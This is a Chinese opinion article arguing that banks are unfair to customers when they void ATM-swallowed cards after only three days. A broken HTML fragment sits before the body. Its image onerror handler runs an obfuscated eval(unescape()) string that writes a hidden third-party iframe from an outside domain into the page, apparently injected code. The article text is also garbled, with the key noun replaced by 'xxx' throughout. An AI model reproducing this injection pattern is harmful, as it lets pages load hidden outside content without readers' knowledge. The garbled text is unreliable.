xxx的寿命何以只有三天

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　8月16日，市民高先生持招商银行( 36.41,0.43,1.20%)卡从北京农村商业银行一ATM机取款后被吞卡，昨日咨询银行时被告知卡因三天内未领，银行已经剪角作废处理。高先生认为保管时间短对消费者不负责，银行工作人员表示三日后作废处理是按照相关规定执行的。(见8月21日《新京报》)　

　　xxx被柜员机“吃掉”可谓司空见惯，“吐”不出来的原因大抵有三个，一是象高先生那样取了款后却忘记按下取卡按钮，二是操作不当，连续按动错误密码，超出银行有关限定，三是柜员机发生故障，被机器“没收”。

　　不论是何原因，我觉得银行都有责任与义务保管好消费者的xxx，这是因为，银行作为“窗口”服务单位，理应为公众提供周到的优质服务，以三天时间领卡有点强人所难，再说，消费者取款时本身就被银行扣去了手续费，属于有偿服务，银行单方面要求消费者在限定时间内取卡是一个典型的“霸王”条款。

　　按照银行规定，xxx被吃掉后，超出三天即被剪掉一角宣布作废，如此规定是一种蛮不讲理的霸道行为，它对消费者构成的直接侵害至少表现在以下两个方面：其一，增加了消费者xxx被作废后，因担心卡内资金安全收到威胁，精神压力和心理负担进一步加剧；其二，消费者补办新卡又要交纳相应的费用，不仅增加了经济负担，而且还势必耗费时间与精力，这对消费者而言彰显不公，更是一种不负责任行为。

　　或许银行方面有自己的苦衷，但以不能无限期为消费者保管xxx，于情于理都说不过去，超过三天难道就是无限期么？xxx被吃掉后寿命如此之短，出人意料，真是荒唐至极。就算事隔一两个月前去银行领卡，又能给银行带来怎样的麻烦？

　　据说，银行这一做法是根据自动机具体管理条例来执行的，并非不负责任。那意思分明是说，给你三天时间来领卡，我已经够负责的了，这是在真诚、真心为消费者服务吗？我们看不出，只能为“就地正法”的xxx表示默哀了！